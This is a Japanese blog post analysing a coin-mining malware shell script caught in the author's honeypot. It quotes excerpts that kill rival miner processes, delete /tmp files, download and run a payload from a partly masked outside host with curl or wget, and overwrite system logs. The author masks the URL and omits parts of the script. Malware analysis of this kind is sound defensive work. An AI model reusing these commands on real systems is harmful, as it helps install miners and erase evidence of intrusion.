ハニーポットで久々にシェルが置かれていたので、中身を読んで解析をしてみました。
2019年4月6日の記事で確認できたマルウェアです。
取得したマルウェアについて
仮想通貨をマイニングするシェルが置かれていました。
Virustotal
いくつかのベンダーの解析結果は仮想通貨をマイニングするシェルだという結果が出ています。
Linux/CoinMiner.GL
後、最後の方で特定のURLに繋いで次のマルウェアをDLしているようなので、そのような記載もされております。 Trojanなのでトロイの木馬をDLするのですかね。
Trojan-Downloader.Shell.Miner.y
トレンドマイクロの記事
下記のようにトレンドマイクロさんでも同じようなシェルを確認しています。
シェル内に記述されているURLが同じなので、同系統のマルウェアのようです。
シェルファイルの中身
注意1:セキュリティ面を考慮して伏せ字を使用する箇所があります。
注意2:マルウェアは全文掲載はしません。この記事の内容だけではマルウェアが完成しないように配慮しております。
注意3:怪しいURLなどは絶対にアクセスしないでください。
プロセスをkill & フォルダを削除
# ファイル、フォルダを削除する rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm -rf /tmp/a7b104c270 ・ ・
pkill
はプロセス名を指定してプロセスをkillするコマンドですね。
# プロセスをKillしている pkill -f AnXqV.yam pkill -f xmrigDaemon pkill -f xmrigMiner ・ ・
ps auxf
の grep
結果から条件に一致するもののプロセスを殺している。
・ ・ ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "watchbog" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9 ・ ・
netstat
の結果からも同様に殺していますね。
・ ・ netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 ・ ・
このような記述が続いております。 一般的にマルウェアがこのような動きをする理由は、自分自身のプロセスの動きを邪魔するプロセスを殺しにきているからですね。
ファイルをDLする
ファイルをDLしています。 120秒でタイムアウトするように設定されていますね。 一応URL全部完成できないように伏せ字にしています。(他のページ見れば再現できますが、アクセスはしないでくださいね)
# curl でファイルを取得する(■は伏せ字) (curl -fsSL --connect-timeout 120 http://yxarsh[.]■■■■/■■■■ -o /tmp/r1x||wget http://yxarsh[.]■■■■/■■■■ -O /tmp/r1x) # 取得したファイルの権限を変更 chmod +x /tmp/r1x # ファイル実行 /tmp/r1x
ログの上書き
最後にsecure
やcron
など複数のログを消してます(0で上書いている)
・ ・ echo 0>/var/log/secure echo 0>/var/log/cron ・ ・
b関数とd関数
function b() { pkill -f sourplum ・ ・ ・ }
function d() { chattr -i /tmp/r1x ・ ・ ・ }
b関数とd関数が定義されていました。 b関数は主に自分自身を動きやすくするため邪魔するプロセスを殺したり、フォルダを作成するような機能が記述されています。
d関数は次に使用するマルウェアをDLするような記述がされていました。
私が記述的に面白いなと思ったのが下記の呼び出し部分。
・ ・ b d ・ ・
この、b
と d
だけで関数呼び出せるのは簡潔ですね。
今回のように100行くらいで完結しているファイルであれば、この一文字以上の情報はいらないですね。
まとめ
久々にハニーポットに置かれたシェルの中身を呼んだ。 マルウェアを解析する際は攻撃者が何を考えて配置してくるかということを考えると、解析もはかどりますね。
逮捕されないかビクビクしながらやっております。 もっと気軽にアウトプットできるような世の中になってほしいという意思を込めて、少し怖いけど記事にしました。